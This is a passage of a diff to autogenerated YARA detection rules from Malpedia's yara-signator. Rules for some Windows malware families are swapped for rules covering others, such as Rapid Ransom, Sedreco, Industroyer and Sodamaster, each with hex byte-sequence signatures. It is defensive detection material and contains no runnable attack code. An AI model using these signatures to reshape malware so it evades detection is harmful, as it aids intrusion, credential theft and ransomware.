7251010070 } - $sequence_2 = { 7285000070 0c 06 6f0e00000a } - $sequence_3 = { 110c 110b 1110 6f2600000a } - $sequence_4 = { 6f2600000a 00 1106 6f2700000a 732800000a 1311 1111 } - $sequence_5 = { 00 de3a 00 1107 14 fe01 } - $sequence_6 = { 6f2700000a 1307 1107 09 16 09 8e } - $sequence_7 = { 110e 1110 18 8d01000001 } - $sequence_8 = { 281900000a 1109 6f1a00000a 130a 7283000070 1105 6f1b00000a } - $sequence_9 = { 06 6f3b00000a 16 fe01 } + $sequence_0 = { 6a64 6a00 ff15???????? 85c0 7509 8b45bc } + $sequence_1 = { ff15???????? 85c0 7509 8b45bc } + $sequence_2 = { ff15???????? 6a01 8bf0 8d85a4fdffff 68???????? 50 } + $sequence_3 = { 81ec98050000 a1???????? 33c5 8945fc 53 56 57 } + $sequence_4 = { 6800080000 50 8d85fcf7ffff 50 e8???????? } + $sequence_5 = { 50 8d85fcf7ffff 68???????? 50 e8???????? 8d85fcf7ffff } + $sequence_6 = { 8d8578faffff 50 8d8584faffff 50 } + $sequence_7 = { 8d8578faffff 50 8d8584faffff 50 8d8574faffff } + $sequence_8 = { 6a01 8bf0 8d85a4fdffff 68???????? 50 ff15???????? 83c40c } + $sequence_9 = { 68???????? 50 e8???????? 8d85fcf7ffff 6800040000 50 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 924672 } -rule MALPEDIA_Win_Lokipws_Auto : FILE +rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7c0fcf43-8505-5ab1-9538-f95766af9b37" + id = "c19fad8c-a407-5bf5-acec-08286bdf3f5a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lokipws_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rapid_ransom_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "a16d167a015bb2f0bb35ba7d5dec0418ca90b6fc4e94e3d241cc5d1eead21a9c" + logic_hash = "67800a8541a0930476ccb252960ba42436cf1502df6e201c2920e486423cdc16" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -97548,32 +97762,37 @@ rule MALPEDIA_Win_Lokipws_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a62 668945f8 58 668945fa 33c0 50 50 } - $sequence_1 = { 6a0a e8???????? 59 33db 6a2e 5e } - $sequence_2 = { 55 8bec 6a00 6a00 686c425ad4 6a09 } - $sequence_3 = { 56 57 50 e8???????? 53 56 8d8574ffffff } - $sequence_4 = { 53 50 8d8550ffffff 50 e8???????? 83c424 } - $sequence_5 = { 85c0 745c 8b9d68ffffff 0fb603 89855cffffff 8b8564ffffff } - $sequence_6 = { eb1f ff75ec 50 e8???????? 59 59 85c0 } - $sequence_7 = { ff36 e8???????? 33c0 891e 83c41c } - $sequence_8 = { 6a2e 5a 6a64 59 6a6c 5e } - $sequence_9 = { e8???????? 8d4df8 51 57 57 6a01 } + $sequence_0 = { 50 6801000004 6800a40000 ff75f8 } + $sequence_1 = { eb05 803e00 7509 803a00 0f840c010000 } + $sequence_2 = { ff15???????? 8b4c2438 f6c110 7410 68???????? 56 } + $sequence_3 = { 6a00 6a07 6a00 ff75fc ffd7 } + $sequence_4 = { 75f7 ff75fc 51 6801000040 ff750c 53 ff15???????? } + $sequence_5 = { 84c0 0f94c1 33c0 84c9 5f 5e 0f94c0 } + $sequence_6 = { ff15???????? 56 ffd7 8bd0 8bce e8???????? } + $sequence_7 = { 80c261 8857ff 4b 75eb 8b75fc 5b } + $sequence_8 = { a3???????? e8???????? 83c404 b001 5e } + $sequence_9 = { 6a02 6a00 6a03 68000000c0 8d85f8feffff 50 } + $sequence_10 = { 56 ff15???????? 85c0 7448 8b3d???????? } + $sequence_11 = { 8d7601 80becc8c410000 75f4 e8???????? 99 8d4eff } + $sequence_12 = { 83ea01 75f2 8b7dac 8b55b4 33c0 c6043200 } + $sequence_13 = { 8d7f08 8b048dc4724000 ffe0 f7c703000000 7413 } + $sequence_14 = { eb05 1bc0 83c801 8b4df0 85c0 0f84a0feffff } condition: - 7 of them and filesize < 1327104 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Sneepy_Auto : FILE +rule MALPEDIA_Win_Liteduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c029590c-a1be-50f8-80cf-c12927fcf1f6" + id = "ce6d7cbd-e712-527e-8d2e-e59cc7813425" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sneepy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sneepy_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.liteduke_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "978ba91f40e008ec1e688527edb2f9c28d926adc71b28f1ad0432cb8831f1c4c" + logic_hash = "e8630c4a732088757bd3da58bb3967f30c07f9d1aee8531a027e677d423a3358" score = 75 quality = 75 tags = "FILE" @@ -97587,34 +97806,34 @@ rule MALPEDIA_Win_Sneepy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 c3 8bff 55 8bec b8e41a0000 e8???????? } - $sequence_1 = { 6888130000 ffd6 68???????? c705????????e8d44000 e8???????? 83c404 } - $sequence_2 = { 8b4dfc 33c0 83ff01 5b 0f94c0 } - $sequence_3 = { c1fa05 8b149560314100 59 c1e006 59 8a4dff 80c901 } - $sequence_4 = { 52 8945dc c745c801000000 8975cc } - $sequence_5 = { 89b5c0feffff 46 83fe07 7cdf } - $sequence_6 = { 85c0 7459 81bdb0feffffc8000000 7526 8b3d???????? 8d8dc0feffff 51 } - $sequence_7 = { e8???????? 8bc6 c1f805 8b048560314100 } - $sequence_8 = { 83e103 f3a4 8d8df0feffff 68???????? 51 e8???????? } - $sequence_9 = { 33c0 8945e4 83f805 7d10 668b4c4310 66890c4514314100 } + $sequence_0 = { c9 c20400 55 89e5 ff7508 6800010000 } + $sequence_1 = { 51 6821020000 50 6a21 50 6888c00700 ffb5d0fdffff } + $sequence_2 = { ad 6a04 59 c1c008 3c3d 7501 45 } + $sequence_3 = { 837d1001 7510 c745f810000000 c745fc0a000000 eb2a 837d1002 7510 } + $sequence_4 = { f70600000080 7409 8b06 25ffffff3f eb60 50 e8???????? } + $sequence_5 = { 8a03 52 50 6a03 e8???????? 83c408 5a } + $sequence_6 = { 7404 0113 ebca 2113 ebc6 58 } + $sequence_7 = { 50 ff15???????? 83c410 ff75e4 e8???????? 6800800000 } + $sequence_8 = { e8???????? 31c0 aa 61 c9 c20c00 55 } + $sequence_9 = { 21df 89d0 21f0 09f8 01c1 034dec } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 1171456 } -rule MALPEDIA_Win_Railsetter_Auto : FILE +rule MALPEDIA_Win_Sedreco_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40a35231-bcd6-50b5-8c16-f4224571abb5" + id = "f5874626-d0e0-58d9-91c8-0db502ae6b52" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.railsetter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.railsetter_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sedreco_auto.yar#L1-L422" license_url = "N/A" - logic_hash = "1c0f0eee020c15b328d39cbed0a5c62b2c564fd1a70af2c0c1b9fc2367e71a1f" + logic_hash = "f4bff7c9ba602579624cb55726a1e993d47a39a8f6d5c8006861ce5f5842d524" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -97626,32 +97845,69 @@ rule MALPEDIA_Win_Railsetter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d4d20 ff15???????? 90 488d8dd0010000 e9???????? } - $sequence_1 = { 488d0ddc760400 eb07 488d0deb760400 ba11000000 } - $sequence_2 = { 488d8d10010000 ff15???????? 85c0 741a ff15???????? 8bc8 2b8d14010000 } - $sequence_3 = { 428a8c09687e0400 482bd0 8b42fc d3e8 49895008 41894018 0fb60a } - $sequence_4 = { 488d0d36a00500 e8???????? 488bc8 0fb754246e e8???????? 488bc8 e8???????? } - $sequence_5 = { 448d4205 488d0d4dae0400 e8???????? 0f57c0 0f1185c8000000 498bcc 49837c241810 } - $sequence_6 = { 488d05c3ef0200 488903 eb02 33db 48891f } - $sequence_7 = { 488d0d00690400 e8???????? ba19000000 448bca 448d4205 488d0d18640400 } - $sequence_8 = { 483bc1 0f8291010000 4c8d4d0f 48837d2710 4c0f434d0f } - $sequence_9 = { 48894a10 880a 488d153f360500 448d4115 488bcb e8???????? 488bc3 } + $sequence_0 = { 51 836d0804 53 56 8b750c } + $sequence_1 = { 8b750c 56 e8???????? 6a08 } + $sequence_2 = { e8???????? 89450c 56 85c0 } + $sequence_3 = { 55 8bec 51 836d0804 } + $sequence_4 = { c645ff30 e8???????? 85c0 7505 } + $sequence_5 = { 50 68???????? 6a0d 68???????? } + $sequence_6 = { 7411 6a04 68???????? 68???????? } + $sequence_7 = { 7ce0 a1???????? 5e 85c0 } + $sequence_8 = { 51 6802020000 68???????? 50 } + $sequence_9 = { 56 be???????? 8b06 85c0 740f 50 } + $sequence_10 = { ffd6 8b0d???????? 894104 85c0 } + $sequence_11 = { 751d 6afe 8d45f0 50 } + $sequence_12 = { 83c40c b801000000 8b4df0 64890d00000000 59 5f } + $sequence_13 = { 83c604 81fe???????? 7ce0 a1???????? } + $sequence_14 = { ffd6 8b0d???????? 898138010000 85c0 } + $sequence_15 = { 488b05???????? ff90e8000000 488b0d???????? 488b05???????? ff5028 48c705????????00000000 } + $sequence_16 = { c744242004000000 4533c9 4533c0 ba000000c0 488b0d???????? 488b05???????? } + $sequence_17 = { 68???????? e8???????? 8b35???????? 83c404 6a00 } + $sequence_18 = { 488b05???????? ff90e8000000 ba10270000 488b0d???????? 488b05???????? } + $sequence_19 = { 68???????? 6a00 6a00 ffd6 8b4dfc 5f } + $sequence_20 = { 4883c010 4883c428 c3 48890d???????? c3 48895c2410 } + $sequence_21 = { 33d2 33c9 488b05???????? ff90f0000000 488905???????? } + $sequence_22 = { 6800010000 6a00 68???????? e8???????? 6800020000 6a00 68???????? } + $sequence_23 = { 488b05???????? ff90e0000000 488b0d???????? 488b05???????? ff90a8010000 } + $sequence_24 = { 6a00 ffd6 50 68???????? 6aff 68???????? } + $sequence_25 = { 41b906000200 4533c0 488b15???????? 48c7c101000080 488b05???????? ff9038010000 } + $sequence_26 = { 8b442458 89442428 488b442450 4889442420 41b903000000 4533c0 488b15???????? } + $sequence_27 = { 7cd5 68???????? e8???????? 8b4dfc } + $sequence_28 = { 8b4dfc 5f 5e 33cd b8???????? 5b } + $sequence_29 = { 6a0a 8d45f4 50 51 e8???????? } + $sequence_30 = { 6800000080 8d85f0fdffff 50 ff15???????? 8bf0 83feff } + $sequence_31 = { 894df0 ff15???????? 8945fc 8b45f0 8945f4 8b45f4 50 } + $sequence_32 = { 57 c785ecfeffff01000000 c785e8feffffe197af54 0f6e85e8feffff } + $sequence_33 = { 53 56 57 894df0 ff15???????? 8945fc } + $sequence_34 = { 8bf1 8b06 50 8b08 ff9180000000 } + $sequence_35 = { 50 ff512c 8bce 8bd8 } + $sequence_36 = { 6aff 50 6a00 6a00 ff15???????? 5e } + $sequence_37 = { 53 56 57 c745dce197af54 0f6e45dc 0f72f002 } + $sequence_38 = { 6a07 68???????? e8???????? 85c0 7402 eb0d 68e0930400 } + $sequence_39 = { 52 50 8bce e8???????? 50 ffd7 85c0 } + $sequence_40 = { 895e30 895e2c 895e34 8bc6 5f 5e } + $sequence_41 = { c645fc04 50 e8???????? 83c418 6a01 } + $sequence_42 = { e8???????? 8b4e2c 8b5610 89442424 6aff 8d442428 6a00 } + $sequence_43 = { fe40ff eb3d 8b742448 6a01 53 } + $sequence_44 = { 8b4c2474 8b7c2478 8944241c 56 89442424 6a01 } + $sequence_45 = { 8bf0 8b442414 85c0 7505 a1???????? } + $sequence_46 = { ff15???????? 85c0 894604 7522 8d4de4 } condition: - 7 of them and filesize < 866304 + 7 of them and filesize < 1586176 } -rule MALPEDIA_Win_Lightbunny_Auto : FILE +rule MALPEDIA_Win_Roll_Sling_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dde384fa-2d37-5576-aebe-de172bd52692" + id = "291394b2-c9d5-58b3-b157-b1e8265d7d6c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightbunny_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roll_sling" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roll_sling_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "df215a5e4e34e2b6ef794199d12d5fa957ff647111af41e6077ed16529a01062" + logic_hash = "fde2b7753670b142ee16bd9c69d80bdb5da3ac212825981d31dd1e2015cde6f5" score = 75 quality = 75 tags = "FILE" @@ -97665,32 +97921,32 @@ rule MALPEDIA_Win_Lightbunny_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 b8???????? 90 3910 7412 0524100000 } - $sequence_1 = { e8???????? 8b55f4 83c404 b906000000 e8???????? e9???????? } - $sequence_2 = { 6a32 ff15???????? 8bcf e8???????? 8bf0 85f6 75e2 } - $sequence_3 = { 8d0485586e4100 50 8d8590faffff 03c7 50 e8???????? } - $sequence_4 = { ff36 894608 68???????? e8???????? 83c408 } - $sequence_5 = { 83b81810000000 0f85defeffff 83b82010000000 0f85d1feffff 6a00 } - $sequence_6 = { ff75f4 68???????? e8???????? 8b4df4 83c40c } - $sequence_7 = { c1f906 53 6bd830 56 8b048d20ae4100 } - $sequence_8 = { 69f224100000 81c6???????? 7410 c7460404000000 ff15???????? } - $sequence_9 = { 8b148520ae4100 8a4c1a2d f6c104 7419 8a441a2e 80e1fb } + $sequence_0 = { ba04000000 488bcf e8???????? 498bce 48833d????????10 480f430d???????? } + $sequence_1 = { 492bd0 4803d7 e8???????? 4533c9 4533c0 } + $sequence_2 = { 42385cf839 0f84ca000000 488d05a9ee0000 4a8b0ce8 488d55f0 4a8b4cf928 } + $sequence_3 = { 4c8d0d63b40000 8bda 4c8d0552b40000 488bf9 488d1550b40000 b904000000 e8???????? } + $sequence_4 = { 440f44d2 0fb74806 41ffc4 4c8b442468 4883c328 443be1 } + $sequence_5 = { 4883c227 4d8b6df8 492bc5 4883c0f8 4883f81f 0f877c040000 498bcd } + $sequence_6 = { 483bc3 7306 4c8bf3 488bd8 4533c9 4c8bc3 } + $sequence_7 = { 448bb090000000 4d03f7 498bce ff15???????? 85c0 0f8530010000 } + $sequence_8 = { eb14 4889742420 4c8d4da0 488bd6 } + $sequence_9 = { 4c89742428 4c897c2420 e8???????? 488bcb 488bf0 e8???????? } condition: - 7 of them and filesize < 2376704 + 7 of them and filesize < 299008 } -rule MALPEDIA_Win_Ransomexx_Auto : FILE +rule MALPEDIA_Win_Touchmove_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "094b727d-6615-5ea8-8297-ce60c4df65db" + id = "522c2cac-142c-5982-9c6b-182b0f82e223" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomexx_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.touchmove" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.touchmove_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "88fc0fd7827f895e1a84baf4a50e5e79c472c52e50515dafeb1f3f74d8cf643c" + logic_hash = "b909bee1078b375a3a52a6b366cfda1d518438076dcea1e60cd1ece67d92cd0d" score = 75 quality = 75 tags = "FILE" @@ -97704,34 +97960,34 @@ rule MALPEDIA_Win_Ransomexx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c1eb08 81e3ff000000 333c9db07a4200 8b5dec } - $sequence_1 = { 8a10 881406 40 49 75f7 8b7df0 } - $sequence_2 = { 8b0d???????? 6a04 8d45e8 6a00 50 ffd1 } - $sequence_3 = { 6a00 ff15???????? 85c0 7415 0fb745e0 8b0d???????? } - $sequence_4 = { 8d3c8500000000 8b0417 53 50 ff15???????? eb31 } - $sequence_5 = { b801000000 8945dc 8945e0 33f2 } - $sequence_6 = { 3b45ec 729b 8b4d10 8b5104 8955fc } - $sequence_7 = { 8d5df4 8d75e0 8bc3 e8???????? 8bf0 85f6 } - $sequence_8 = { b16c c7006e74646c c740046c2e646c 884808 50 ff15???????? } - $sequence_9 = { e8???????? 83c404 85c0 7520 8b4dfc f7d9 890f } + $sequence_0 = { 488d9520030000 488bcb 488905???????? ff15???????? } + $sequence_1 = { c7853417000073686f74 c6853817000000 e8???????? 488d8d30290000 } + $sequence_2 = { c785883b0000ef911211 c7858c3b0000ff7559a3 c785903b0000e16ea064 c785943b0000b8788977 c785983b0000a0379158 } + $sequence_3 = { 894720 488d05fdfdffff 48894728 488d0502feffff 48894730 488d0507feffff } + $sequence_4 = { 4c8d05d4acffff 89542420 83fa05 7d15 4863ca } + $sequence_5 = { 7577 c744246000010000 488d442460 4889442428 488d8580440000 4889442420 } + $sequence_6 = { c785200a00006b65726e c785240a0000656c3332 c785280a00002e646c6c c6852c0a000000 e8???????? } + $sequence_7 = { 488bdf 4889742430 4d8d570c 4c89642428 488d2d1f660100 492bdf 0f1f4000 } + $sequence_8 = { 83e001 894720 488d05fdfdffff 48894728 488d0502feffff } + $sequence_9 = { 66c785904000006572 c6859240000000 33d2 41b8ed000000 488d8d93400000 e8???????? 660f6f2d???????? } condition: - 7 of them and filesize < 372736 + 7 of them and filesize < 224256 } -rule MALPEDIA_Win_Rambo_Auto : FILE +rule MALPEDIA_Win_Industroyer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "339a4d7e-9b02-5b2f-918a-fe5abee15d73" + id = "b70a6e6b-a7b3-5905-a2f3-bca4eedf28ac" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rambo_auto.yar#L1-L180" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industroyer_auto.yar#L1-L392" license_url = "N/A" - logic_hash = "5e0ac76c4c54838a65e8020ef5ae20ae2814aaf559d8acf1871f9f9e1fb0aa1a" + logic_hash = "d3f1f022d180cc54e73fc2b0f9206b38d6547f8fb0af0d5f384afd232c2b0a2b" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -97743,77 +97999,101 @@ rule MALPEDIA_Win_Rambo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85f8faffff 6a01 50 ff15???????? 80a43df8faffff00 56 } - $sequence_1 = { 8065fe00 8d45fc 50 8d85f8feffff 50 c645fc72 } - $sequence_2 = { ff15???????? 83c428 6a32 ff15???????? 8d85f8faffff 50 } - $sequence_3 = { 83c410 85f6 745e 57 6a02 } - $sequence_4 = { 8d85ecfdffff 50 8d85f0feffff 50 ff15???????? 83c41c } - $sequence_5 = { 50 68???????? e8???????? 59 59 6a01 58 } - $sequence_6 = { 81ec14020000 8d85f0feffff 56 50 6804010000 } - $sequence_7 = { 59 8d85fcfeffff 59 50 ff15???????? 33c0 } - $sequence_8 = { 0f85ba000000 8d4c241c c68424000400000f e8???????? 8d8c249c000000 c68424000400000b e8???????? } - $sequence_9 = { 33c0 50 8d4c241c c684240404000002 } - $sequence_10 = { 03dd 33c3 8d1c31 33c3 81c14786c861 2bf8 4a } - $sequence_11 = { 57 b940000000 8d7c240d 8844240c f3ab 66ab } - $sequence_12 = { 56 56 8d4c2424 e8???????? 50 8d4c246c e8???????? } - $sequence_13 = { c684240004000001 e8???????? c684240004000000 8d4c2464 e8???????? 8d4c242c c7842400040000ffffffff } - $sequence_14 = { 33ed 6804010000 6804010000 8d4c2434 89ac2408040000 e8???????? } - $sequence_15 = { 8d4c2414 6a20 51 8d4c2424 e8???????? 50 8d4c242c } + $sequence_0 = { 53 ff75fc e8???????? 57 e8???????? 83c414 56 } + $sequence_1 = { 8d85f8fdffff 56 be04010000 56 50 68???????? } + $sequence_2 = { 8d45f4 50 56 57 53 ff15???????? 037df4 } + $sequence_3 = { 53 ffd6 53 e8???????? 59 85c0 } + $sequence_4 = { 68???????? 56 56 ff15???????? 57 8bf0 e8???????? } + $sequence_5 = { 50 6a02 56 e8???????? ff7710 6a03 56 } + $sequence_6 = { 8d45a8 33f6 57 50 e8???????? } + $sequence_7 = { 51 50 56 57 ff15???????? 56 e8???????? } + $sequence_8 = { 6a02 ff15???????? 8bd8 85db 0f849d000000 8d85d0fdffff c785d0fdffff2c020000 } + $sequence_9 = { ff15???????? 89849da0efffff 83c604 43 81fe88000000 7291 } + $sequence_10 = { 8b35???????? 0f1f00 f644241810 7451 } + $sequence_11 = { e8???????? 83c404 33c0 eb19 8d8d90efffff 51 } + $sequence_12 = { 81ec6c040000 a1???????? 33c4 89842468040000 53 8b1d???????? } + $sequence_13 = { 8b35???????? 39bdd8fdffff 741f 8d85d0fdffff 50 53 } + $sequence_14 = { 6800020000 8d85a0fbffff 50 56 ffb59cf3ffff ff15???????? 8b3d???????? } + $sequence_15 = { 0f847bffffff ffb59cf3ffff ffd7 8b4dfc 5f 33cd } + $sequence_16 = { 89442444 8b442418 89442440 8d44243c 50 } + $sequence_17 = { 8bcb 50 e8???????? 83c408 8d95d8fffeff 8bf0 } + $sequence_18 = { c745e0d4ff4000 e9???????? c745dc03000000 c745e0e0ff4000 e9???????? 83e80f 7451 } + $sequence_19 = { eb07 8b0cc5dc084100 894de4 85c9 } + $sequence_20 = { 7417 68???????? 50 ff15???????? 85c0 7407 6a00 } + $sequence_21 = { 7464 68???????? ff35???????? c705????????01000000 c705????????04000000 c705????????00000000 c705????????00000000 } + $sequence_22 = { 80480c01 eb04 80600cfe 807d1000 8b4604 } + $sequence_23 = { 8b4508 dd00 ebc6 c745e0e8ff4000 e9???????? c745e0f0ff4000 e9???????? } + $sequence_24 = { 8b34cd18c20110 8b4d08 6a5a 2bce 5b 0fb70431 663bc7 } + $sequence_25 = { 75f9 8d7c2430 2bd6 4f 8a4701 47 84c0 } + $sequence_26 = { 8945dc 8b1c9dd01f0210 895de0 f6441a2848 8b5d08 0f84ce000000 } + $sequence_27 = { c7825402000000000000 c7825802000000000000 8b8350020000 898250020000 8b8354020000 } + $sequence_28 = { f6470280 760d 68???????? e8???????? 83c404 } + $sequence_29 = { 0f1f440000 8a02 42 84c0 75f9 8d7c2430 2bd6 } + $sequence_30 = { 660f59f5 660f28aa40fe4000 660f54e5 660f58fe } + $sequence_31 = { e9???????? 894ddc c745e0d8ff4000 e9???????? } + $sequence_32 = { 33c2 2500800000 83f800 0f8547ffffff e9???????? 8b542408 } + $sequence_33 = { 59 8bf0 6a01 8bce e8???????? 8d45f8 c706???????? } + $sequence_34 = { 88d8 e2d9 8dbe00000600 8b07 09c0 } + $sequence_35 = { 83eb01 741e 83eb01 7549 399ffc000000 7441 } + $sequence_36 = { 894e10 e8???????? 59 59 85c0 } + $sequence_37 = { ba05000000 8d0d905b4400 e9???????? a90000f07f 752c a9ffff0f00 } + $sequence_38 = { 773c 2b4334 99 f77d8c 894598 3b4b3c } + $sequence_39 = { 7451 8b7d08 8b4514 8b4d10 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 983040 } -rule MALPEDIA_Win_Sync_Scheduler_Auto : FILE +rule MALPEDIA_Win_Sodamaster_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "41472b7c-c76e-5a55-ab89-47e49be56775" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sync_scheduler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sync_scheduler_auto.yar#L1-L121" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "d1f7db4a-f731-535e-9ec7-0f94492b7206" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sodamaster" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sodamaster_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "cefc3130f1fb15a7eb3be2d60b81171c09dab6a15007b67a76905b9641705749" + logic_hash = "fa1144cbcb2ad99084cc1ee6d93d89428028e0238c89b4c179e1b18530e08c7f" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b910270000 ff15???????? 90 488b55f8 4883fa10 7231 } - $sequence_1 = { 498bcd ff15???????? 498bcc ff15???????? e9???????? 0f57c0 } - $sequence_2 = { 33d2 488bc8 ff15???????? 488d0557570000 488903 48896e60 48895e08 } - $sequence_3 = { c6450668 c6450777 c6450855 c6450968 c6450a64 c6450b67 c6450c49 } - $sequence_4 = { 480f42d8 48b8ffffffffffffff7f 488d4b01 483bc8 0f87ad000000 4803c9 4881f900100000 } - $sequence_5 = { 75cb 32db 4883fe10 7238 488d5601 } - $sequence_6 = { e8???????? 488d0d9c090000 e8???????? e8???????? } - $sequence_7 = { c645f277 c645f377 c645f46e c645f56c c645f67d } - $sequence_8 = { 488905???????? c7458017000000 8b4580 3448 } - $sequence_9 = { c6456800 33d2 41b808010000 488d8d20020000 e8???????? 498d8680bc0000 } + $sequence_0 = { 5d c3 8b04c5d4ca0010 5d c3 8bff 55 } + $sequence_1 = { 83c002 6685c9 75f5 8b8d14fbffff 2bc2 } + $sequence_2 = { 8b748104 40 6a64 8945e8 ff15???????? 3bf3 } + $sequence_3 = { 8bc3 c1f805 8d3c85a0330110 8bf3 83e61f c1e606 } + $sequence_4 = { a3???????? a1???????? c705????????ee5c0010 8935???????? a3???????? } + $sequence_5 = { 2bc1 8d8df0efffff 51 8bc8 e8???????? 8b35???????? 83c404 } + $sequence_6 = { 52 51 d1f8 50 8d9524ffffff } + $sequence_7 = { 85c0 743a 8b55ec 52 ff15???????? 8bf8 } + $sequence_8 = { 0f84d5000000 8b95e8efffff 53 8d85dcefffff 50 } + $sequence_9 = { ff15???????? eb10 c745da64006c00 b96c000000 66894dde } condition: - 7 of them and filesize < 156672 + 7 of them and filesize < 134144 } -rule MALPEDIA_Win_Polyvice_Auto : FILE +rule MALPEDIA_Win_Fusiondrive_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a1ddf89c-1c54-5551-99ab-406b8afd6790" + id = "ca3c35ba-09cb-56c8-bbe3-749cd9839eab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.polyvice_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fusiondrive_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2b6e9e23b007599969dc0f145dba20938a3646054daf998e366135a635120584" + logic_hash = "5e3043a82407e5acc0770d68c274349d0da53277a8b1605e4ac140328403150c" score = 75 quality = 75 tags = "FILE" @@ -97827,32 +98107,32 @@ rule 